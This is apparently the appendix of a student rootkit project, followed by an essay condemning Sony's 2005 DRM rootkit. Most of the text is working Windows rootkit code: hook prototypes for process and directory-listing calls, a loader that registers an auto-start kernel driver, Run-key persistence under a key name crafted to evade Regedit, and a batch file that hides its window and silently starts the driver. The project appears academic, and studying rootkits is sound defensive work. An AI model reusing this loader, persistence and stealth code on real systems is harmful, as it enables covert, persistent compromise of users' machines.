        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
            LARGE_INTEGER                            IdleTime;
            LARGE_INTEGER                            KernelTime;
            LARGE_INTEGER                            UserTime;
            LARGE_INTEGER                            DpcTime;
            LARGE_INTEGER                            InterruptTime;
            ULONG                                   InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);


void OnUnload( IN PDRIVER_OBJECT );

NTSTATUS FakeZwQueryDirectoryFile(
      IN HANDLE hFile,
      IN HANDLE hEvent OPTIONAL,
      IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
      IN PVOID IoApcContext OPTIONAL,
      OUT PIO_STATUS_BLOCK pIoStatusBlock,
      OUT PVOID FileInformationBuffer,
      IN ULONG FileInformationBufferLength,
      IN FILE_INFORMATION_CLASS FileInfoClass,
      IN BOOLEAN bReturnOnlyOneEntry,
      IN PUNICODE_STRING PathMask OPTIONAL,
      IN BOOLEAN bRestartQuery );

DWORD getDirEntryLinkToNext(
            IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass );
void setDirEntryLinkToNext(
            IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
            IN DWORD value
);
PVOID getDirEntryFileName(
            IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
);
ULONG getDirEntryFileLength(
            IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
);


NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength);

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
      IN HANDLE hFile,
      IN HANDLE hEvent OPTIONAL,
      IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
      IN PVOID IoApcContext OPTIONAL,
      OUT PIO_STATUS_BLOCK pIoStatusBlock,
      OUT PVOID FileInformationBuffer,
      IN ULONG FileInformationBufferLength,
      IN FILE_INFORMATION_CLASS FileInfoClass,
      IN BOOLEAN bReturnOnlyOneEntry,
      IN PUNICODE_STRING PathMask OPTIONAL,
      IN BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
      HANDLE hEvent,
      PIO_APC_ROUTINE IoApcRoutine,
      PVOID IoApcContext,
      PIO_STATUS_BLOCK pIoStatusBlock,
      PVOID FileInformationBuffer,
      ULONG FileInformationBufferLength,
      FILE_INFORMATION_CLASS FileInfoClass,
      BOOLEAN bReturnOnlyOneEntry,
      PUNICODE_STRING PathMask,
      BOOLEAN bRestartQuery
);

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
```

```
typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
```

MAKEFILE: Makefile used for device driver compilation

```
!INCLUDE $(NTMAKEENV)\makefile.def
```

SOURCES: Specifies parameters for device driver compilation

```
TARGETNAME=RKIS
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=    rootkit.c
```

adv_loader.cpp: Code to load and unload the driver via the documented method

```
// adv_loader.cpp : Defines the entry point for the console
application.
// code adapted from www.sysinternals.com on-demand driver loading code
// ------------------------------------------------------------------------
// brought to you by ROOTKIT.COM (adv_loader.cpp)
// ------------------------------------------------------------------------
// Modified to be executed without command line arguments,
// only either loads or unloads the driver, based on how it was
compiled
// modified by J. Karadmis

#include "stdafx.h"
#include <windows.h>
#include <process.h>


//
// Load the driver
//
void load()
{
      printf("Registering Rootkit Driver.\n");

      SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
      if(!sh)
      {
            puts("error OpenSCManager");
            exit(1);
      }

      SC_HANDLE rh = CreateService(
            sh,
            "RKIS",
            "RKIS",
            SERVICE_ALL_ACCESS,
            SERVICE_KERNEL_DRIVER,
            SERVICE_AUTO_START,
            SERVICE_ERROR_NORMAL,
            "C:\\_rkis_\\_rkis_.sys",
            NULL,
            NULL,
            NULL,
            NULL,
            NULL);
      if(!rh)
      {
            if (GetLastError() == ERROR_SERVICE_EXISTS)
            {
            // serive exists
                  rh = OpenService( sh,
                                                "RKIS",
                                                SERVICE_ALL_ACCESS);
                  if(!rh)
                  {
                        puts("error OpenService");
                        CloseServiceHandle(sh);
                        exit(1);
                  }
            }
            else
            {
                  puts("error CreateService");
                  CloseServiceHandle(sh);
                  exit(1);
            }
      }
}


//
//  Unload the driver
//
void unload()
{
      SERVICE_STATUS ss;

      printf("Unloading Rootkit Driver.\n");

      SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
      if(!sh)
      {
            puts("error OpenSCManager");
            exit(1);
      }
      SC_HANDLE rh = OpenService(
                              sh,
                              "RKIS",
                              SERVICE_ALL_ACCESS);
      if(!rh)
      {
            puts("error OpenService");
            CloseServiceHandle(sh);
            exit(1);
      }

      if(!ControlService(rh, SERVICE_CONTROL_STOP, &ss))
      {
            puts("warning: could not stop service");
      }
      if (!DeleteService(rh))
      {
            puts("warning: could not delete service");
      }

      CloseServiceHandle(rh);
      CloseServiceHandle(sh);

}

int main(int argc, char* argv[])
{

      load();
      //unload();  //Commented out... only want to load.
      return 0;
}
```

_rkis_reg.c: Code to add registry keys to the Run key

```
//
// _rkis_reg.c (Originally Reghide.c)
//
// by Mark Russinovich
// http://www.sysinternals.com
//
// This program demonstrates how the Native API can be used to
// create object names that are inaccessible from the Win32 API. While
// there are many different ways to do this, the method used here it to
// include a terminating NULL that is explicitly made part of the key
name.
// There is no way to describe this with the Win32 API, which treats a
NULL
// as the end of the name string and will therefore chop it. Thus,
Regedit
// and Regedt32 won't be able to access this key, though it will be
visible.
//
// Altered by J. Kardamis
// The program was altered to allow for the experimentation with adding
and
// removing registry entries.  The entries added and removed were
either normal,
// null-embedded, too long (260 characters), or exceeded both the
bounds and null-embedded.

#include <windows.h>
#include <stdio.h>
#include "_rkis_reg.h"
```

```
//
// The name of the key and value that we're going to create
//
WCHAR HiddenValueNameBuffer[]= L"C:\\_rkis_\\_rkis_load.bat";



//
// Loads and finds the entry points we need in NTDLL.DLL
//
VOID LocateNTDLLEntryPoints()
{
      if( !(NtCreateKey = (void *) GetProcAddress(
GetModuleHandle("ntdll.dll"),
                  "NtCreateKey" )) ) {

            printf("Could not find NtCreateKey entry point in
NTDLL.DLL\n");
            exit(1);
      }
      if( !(NtDeleteKey = (void *) GetProcAddress(
GetModuleHandle("ntdll.dll"),
                  "NtDeleteKey" )) ) {

            printf("Could not find NtDeleteKey entry point in
NTDLL.DLL\n");
            exit(1);
      }
      if( !(NtSetValueKey = (void *) GetProcAddress(
GetModuleHandle("ntdll.dll"),
                  "NtSetValueKey" )) ) {

            printf("Could not find NtSetValueKey entry point in
NTDLL.DLL\n");
            exit(1);
      }
}


//
// Create the key and value
//
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
                                    LPSTR lpCmdLine, int nCmdShow )
{
      UNICODE_STRING KeyName, ValueName;
      HANDLE RunKeyHandle, HiddenKeyHandle;
      ULONG Status;
      OBJECT_ATTRIBUTES ObjectAttributes;
      ULONG Disposition;
      char input;

      //
      // Load the entry points we need
      //
      LocateNTDLLEntryPoints();
      //
      // Open the Run key
      //
      KeyName.Buffer = KeyNameBuffer;
      KeyName.Length = wcslen( KeyNameBuffer ) *sizeof(WCHAR);
      InitializeObjectAttributes( &ObjectAttributes, &KeyName,
                  OBJ_CASE_INSENSITIVE, NULL, NULL );
      Status = NtCreateKey( &RunKeyHandle, KEY_ALL_ACCESS,
                              &ObjectAttributes, 0,  NULL,
REG_OPTION_NON_VOLATILE,
                              &Disposition );
      if( !NT_SUCCESS( Status )) {

            printf("Error: Couldn't open
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n" );
            exit(1);
      }

      //
      // Create the Hidden key
      //
      KeyName.Buffer = HiddenKeyNameBuffer;

      //uncomment if null-embedded
      KeyName.Length = wcslen( HiddenKeyNameBuffer ) *sizeof(WCHAR); //
+ sizeof(WCHAR);
      InitializeObjectAttributes( &ObjectAttributes, &KeyName,
                  OBJ_CASE_INSENSITIVE, RunKeyHandle, NULL );
      Status = NtCreateKey( &HiddenKeyHandle, KEY_ALL_ACCESS,
                              &ObjectAttributes, 0, NULL,
REG_OPTION_NON_VOLATILE,
                              &Disposition );
      if( !NT_SUCCESS( Status )) {

            printf("Error: Couldn't create Run\\RKIS\n");
            exit(1);
      }

      //
      // Create the hidden value
      //
      ValueName.Buffer = HiddenValueNameBuffer;
      ValueName.Length = wcslen( HiddenValueNameBuffer )
*sizeof(WCHAR);
      Status = NtSetValueKey( HiddenKeyHandle, &ValueName, 0, REG_SZ,
                                    HiddenValueNameBuffer,
                                    wcslen( HiddenValueNameBuffer ) *
sizeof(WCHAR) );
      if( !NT_SUCCESS( Status )) {

            printf("Error: Couldn't create our hidden value\n");
            NtDeleteKey( HiddenKeyHandle );
            exit(1);
      }
```

```
	return 0;

}
```

rkis_noreg.c: Code to remove registry keys to the Run key

```
//
// rkis_noreg.c (Adapted from Reghide.c)
//
// by Mark Russinovich
// http://www.sysinternals.com
//
// Removes the entries added by _rkis_reg.c
//
#include <windows.h>
#include <stdio.h>
#include "_rkis_reg.h"


//
// Loads and finds the entry points we need in NTDLL.DLL
//
VOID LocateNTDLLEntryPoints()
{
	if( !(NtCreateKey = (void *) GetProcAddress(
GetModuleHandle("ntdll.dll"),
			"NtCreateKey" )) ) {

		printf("Could not find NtCreateKey entry point in
NTDLL.DLL\n");
		exit(1);
	}
	if( !(NtDeleteKey = (void *) GetProcAddress(
GetModuleHandle("ntdll.dll"),
			"NtDeleteKey" )) ) {

		printf("Could not find NtDeleteKey entry point in
NTDLL.DLL\n");
		exit(1);
	}
	if( !(NtSetValueKey = (void *) GetProcAddress(
GetModuleHandle("ntdll.dll"),
			"NtSetValueKey" )) ) {

		printf("Could not find NtSetValueKey entry point in
NTDLL.DLL\n");
		exit(1);
	}
}


//
// Create the key and value and then delete it
//
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
                                    LPSTR lpCmdLine, int nCmdShow )
{
      UNICODE_STRING KeyName, ValueName;
      HANDLE RunKeyHandle, HiddenKeyHandle;
      ULONG Status;
      OBJECT_ATTRIBUTES ObjectAttributes;
      ULONG Disposition;
      char input;

      //
      // Load the entry points we need
      //
      LocateNTDLLEntryPoints();


      //
      // Open the Run key
      //
      KeyName.Buffer = KeyNameBuffer;
      KeyName.Length = wcslen( KeyNameBuffer ) *sizeof(WCHAR);
      InitializeObjectAttributes( &ObjectAttributes, &KeyName,
                  OBJ_CASE_INSENSITIVE, NULL, NULL );
      Status = NtCreateKey( &RunKeyHandle, KEY_ALL_ACCESS,
                        &ObjectAttributes, 0,  NULL,
REG_OPTION_NON_VOLATILE,
                        &Disposition );
      if( !NT_SUCCESS( Status )) {

            printf("Error: Couldn't open
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n" );
            exit(1);
      }

      //
      // Create the Hidden key
      //
      KeyName.Buffer = HiddenKeyNameBuffer;

      //uncomment if null-embedded
      KeyName.Length = wcslen( HiddenKeyNameBuffer ) *sizeof(WCHAR);//
+ sizeof(WCHAR);

      InitializeObjectAttributes( &ObjectAttributes, &KeyName,
                  OBJ_CASE_INSENSITIVE, RunKeyHandle, NULL );
      Status = NtCreateKey( &HiddenKeyHandle, KEY_ALL_ACCESS,
                        &ObjectAttributes, 0, NULL,
REG_OPTION_NON_VOLATILE,
                        &Disposition );
      if( !NT_SUCCESS( Status )) {

            printf("Error: Couldn't create Run\\RKIS\n");
            exit(1);
      }

      //
      // Cleanup the key
      //
      NtDeleteKey( HiddenKeyHandle );
      return 0;
```

```
}
```

_rkis_reg.h: Functions and strings used by the registry manipulation programs

```
//
// _rkis_reg.h (Originally Reghide.h)
//
// Various native API stuff that we need,
// as well as the values for the registry keys
//

#define OBJ_CASE_INSENSITIVE 0x40

typedef DWORD ULONG;
typedef WORD  USHORT;
typedef LONG NTSTATUS;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;


typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type
SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type
SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

NTSTATUS (__stdcall *NtCreateKey)(
            HANDLE KeyHandle,
            ULONG DesiredAccess,
            POBJECT_ATTRIBUTES ObjectAttributes,
            ULONG TitleIndex,
            PUNICODE_STRING Class,
            ULONG CreateOptions,
            PULONG Disposition
            );

NTSTATUS (__stdcall *NtSetValueKey)(
            IN HANDLE  KeyHandle,
            IN PUNICODE_STRING  ValueName,
            IN ULONG  TitleIndex,               /* optional */
            IN ULONG  Type,
            IN PVOID  Data,
            IN ULONG  DataSize
            );

NTSTATUS (__stdcall *NtDeleteKey)(
            HANDLE KeyHandle
            );

// Key values:

// Key that's too long
WCHAR HiddenKeyNameBuffer[] =
L"RKISSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS";

// Normal key
//WCHAR HiddenKeyNameBuffer[] = L"RKIS";

// Key that's null-embedded (requires other changes to the code)
//WCHAR HiddenKeyNameBuffer[] = L"RKIS\0";

// Run key location
WCHAR KeyNameBuffer[]         =
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ru
n";
```

_rkis_load.bat: Batch file to load the rootkit

```
REM _rkis_load.bat  Rootkit Loader
REM
REM Creates a window, then calls CMDOW to
REM hide the window, then calls the loader
REM program to install the driver.  Finally,
REM calls net start to start the driver
REM
REM author J. Kardamis
@ECHO OFF
TITLE C:\WINNT\System32\cmd.exe
FOR /F %%A IN ('c:\_rkis_\_rkis_cmdow ^| FIND
"C:\WINNT\System32\cmd.exe"') DO c:\_rkis_\_rkis_cmdow %%A /HID
C:\_rkis_\_rkis_loader.exe > NUL
net start RKIS > NUL
```

rkis_stop.bat: Batch file to unload the rootkit

```
REM rkis_stop.bat  Rootkit Unoader
REM
REM Stops the rootkit and unloads
REM No attempts made at stealth here,
REM as this functionality is only for
REM ease of development purposes.
REM
REM author J. Kardamis
@ECHO OFF
net stop RKIS > NUL
c:\_rkis_\rkis_unloader > NUL
```

B. Sony paper

The following report details the Sony DRM rootkit issues of the previous year:

Sony and Rootkits: Digital Rights Mismanagement
Joseph Kardamis

The news of Sony's invasive Digital Rights Management (DRM) scheme hit the internet on October 31, 2005, on the weblog of Mark Russinovich of Sysinternals [4]. After running a scan for rootkits, he was surprised to find one on his machine. He was further surprised and angered that it came at the hands of a Sony music CD, which had installed a series of drivers which were hooking, among other things, the CD player drivers to keep track of what was being played and or copied, as well cloaking directories and the registry. Such a technique was not only extraordinarily unethical, as there was no mention of such behavior in the EULA [5], and of dubious legality (several class-action lawsuits were filed, the first of which coming from California [3]), but it was also sloppily created. Beyond the obvious security risks posed by such a rootkit (the compromise of one's machine), this set of programs left the system wide open to further exploitation from other malicious attackers, as well as threatened the reliability and operability of the machine. I will detail what these further risks were, and examine the reactions of various involved people and companies, including leading security experts, the company hired to write the software, and Sony itself. This story is a major example of why understanding computer security is so important, and also of the state of affairs in computing and audio entertainment.

As detailed by Russinovich, Sony's DRM software took control over aspects of the customers' now infected computers, leaving them vulnerable in ways in which neither Sony nor First 4 Internet (the company hired to write the invasive software) expected. The software was designed not to be detected, and to enforce a three-copy limit of the music CD, also ensuring that the copies would not be usable to create more copies. To achieve the necessary stealth, the rootkit hides all files and directories prefixed with a particular string: "sys". This is a rudimentary form of file hiding, which is in and of itself insecure. While it performs the intended job, it also allows others to exploit this weakness by hiding other files on the infected machine prefixed with the magic string. And in fact it did not take long for instances of such exploits to show up in the wild. One such instance used this exploit to cheat the anti-cheating program in the popular

MMORPG World of Warcraft. By using the magic string as a prefix, the anti-cheating program could not detect the offending scripts [1].

If a user did manage to detect the presence of Sony's rootkit, in attempting to remove it, they would likely render their CD drive, if not their entire machine, useless. Another included driver in the rootkit nested itself in the driver chain attached to the CD drive. By removing the driver, the chain to access the hardware is broken, and thus the drive is made inaccessible. Once this was all brought to light and Sony was forced to provide a means for removal (which is another issue in and of itself; more on that later), the method used to purge the machine of the drivers was in and of itself unreliable. The way in which the driver was uninstalled was identical to simply stopping the service (net stop). However, because the rootkit deals with hooked function calls, in a multi-threaded environment there is the potential for the functions to be improperly referenced, resulting in a Blue Screen of Death [4].

The reactions of security expert Mark Russinovich ranged from irritation, incredulity, and sheer anger. These were directed both at the fact that users were unknowingly agreeing to infecting themselves with dangerous software, which was mentioned nowhere in the EULA, that the software was so poorly constructed, and at the responses of Sony and First 4 Internet. In his blog, Russinovich details the behavior of the rootkit, as well as the issues involved with its removal [4]. Not only does the kit hide files and alter the registry, but it also contacts Sony with information regarding the CD being played. This was ostensibly done so new and updated content could be served to the user, and was deemed as one-way communication by First 4 Internet [6]. Such "phone home" behavior was flatly denied by Sony. The latter was proven false by Russinovich, who used a network tracer to find the packets being sent to Sony by the rootkit, which had encrypted with it the CD's identification. The former was argued as nonsensical, as, while Sony was probably not actively making use of the data in reprehensible ways, they certainly had the facility to. The idea of "one-way" internet communication is farcical in and of itself. Additionally, Sony required that, should a user want to remove the software from their machine, they were forced through such hoops that Russinovich compared some adware companies' methods of product removal more favorably than Sony [7].

First 4 Internet, among attempting to argue that the communication between the rootkit and Sony was "one-way," also attempted to refute Russinovich's allegations of incompetence. They dismissed his diagnosis of their unsafe unloading of the driver as "pure conjecture." This "conjecture" is however, part of nearly every textbook example of multi-threaded race conditions, and while it may be unlikely, it is certainly not conjecture.

Bruce Schneier weighed in on the issue as well, and laid some blame to the security companies such as McAfee and Symantec. These companies were extraordinarily slow to provide the facilities to detect and neutralize these threats, when for most other pieces of malware they are quick to respond. Given that the propagation of the rootkit resulted in over one half million compromised machines, the companies designated to protect the user from such malicious software dropped the ball in a large way. And when they did respond, their proffered solutions were no better than those provided by Sony; an unsafe halting of the service which could result in a system crash. While Schneier does not blatantly accuse the security companies of collusion or other underhanded behavior, he paints a grim picture of "what ifs" having the same affect [9].

Sony, as the main perpetrator, both flatly denied any amount of wrongdoing and displayed an inordinate amount of arrogance. They lied by omission in the End User Licensing Agreement, by not disclosing to users what the software truly did, they lied in their refutation of the software contacting them, and they made it extraordinarily difficult to obtain the mechanisms to remove the software. Thomas Hesse, the president of Sony BMG's global digital business was so brash as to say "Most people don't know what a rootkit is, so why should they care about it?" in an interview with NPR [2]. Such a unified negative corporate response could be indicative of gross negligence, gross incompetence, or gross malice. Likely it is a combination of the three, but even so, it is unsettling. It is truly indicative of the lengths that these corporations will go to protect their bottom line. Digital Rights Management is a hotly contested topic, and in Sony's eyes, they are merely attempting to prevent theft. However, the way in which they attempted to solve the problem was extraordinarily irresponsible. There is no simple and easy solution to the DRM problem, and it seems likely that the rootkit issue as applied to DRM will not yet go away. In official statements, Sony stated that it was temporarily halting production of CDs containing the offending software [8]. The unnerving term being "temporarily," which seems to suggest that once the backlash has settled, they may try again. Sony has since made the appropriate information regarding the insecure nature of their software public on their website, and the uninstaller has been made public as well [10].

I fear that things are going to get worse before they get better, although the topic has been relatively quiet compared to when the news first broke almost a year ago. As digital media progresses, and the ability to quickly and accurately copy and distribute such media continues, theft will continue to be an issue, and I feel that the media companies will continue attempting invasive measures to secure their bottom line. It is extraordinarily easy to cast blame and condemn Sony's actions as morally and legally wrong, but it is altogether more difficult to come up with better alternative solutions. And I am not innocent, for I clearly think Sony was completely in the wrong, but I have no alternate solution to offer. Until that alternate solution is found, if one is found at all, I fear that we as users and consumers will be made to endure further failed and invasive attempts at corporations trying to protect their privacy at the expense of our own.

[1] Register, The. (2005, November 5). *World of Warcraft hackers using Sony BMG rootkit*. Retrieved October 22, 2006, from http://www.theregister.co.uk/2005/11/04/secfocus_wow_bot/

[2] Roberts, Paul F. (2005, November 8). *Sony's Second 'Rootkit' DRM Patch Doesn't Hush Critics*. Retrieved October 22, 2006, from http://www.eweek.com/article2/0,1895,1883820,00.asp

[3] Roberts, Paul F. (2005, November 11). *Sony Suspends 'Rootkit' DRM Technology*. Retrieved October 22, 2006, from http://www.eweek.com/article2/0,1895,1885868,00.asp

[4] Russinovich, Mark. (2005, October 31). *Sony, Rootkits, and Digital Rights Management Gone Too Far*. Retrieved October 22, 2006, from http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html

[5] Russinovich, Mark. (2005, November 4). *More on Sony: Dangerous Decloaking Patch, EULAs and Phoning Home*. Retrieved October 22, 2006, from http://www.sysinternals.com/blog/2005/11/more-on-sony-dangerous-decloaking.html

[6] Russinovich, Mark. (2005, November 6). *Sony's Rootkit: First 4 Internet Responds*. Retrieved October 22, 2006, from http://www.sysinternals.com/blog/2005/11/sonys-rootkit-first-4-internet.html

[7] Russinovich, Mark. (2005, November 9). *Sony: You don't reeeeaaaally want to uninstall, do you?*. Retrieved October 22, 2006, from http://www.sysinternals.com/blog/2005/11/sony-you-dont-reeeeaaaally-want-to_09.html

[8] Russinovich, Mark. (2005, November 14). *Sony: No More Rootkit - For Now*. Retrieved October 22, 2006, from http://www.sysinternals.com/blog/2005/11/sony-no-more-rootkit-for-now.html

[9] Schneier, Bruce. (2005, November 17). *Sony's DRM Rootkit: The Real Story*. Retrieved October 22, 2006, from http://www.schneier.com/blog/archives/2005/11/sonys_drm_rootk.html

[10] Sony BMG. *Information about XCP Protected CDs*. Retrieved October 23, 2006, from http://cp.sonybmg.com/xcp/english/updates.html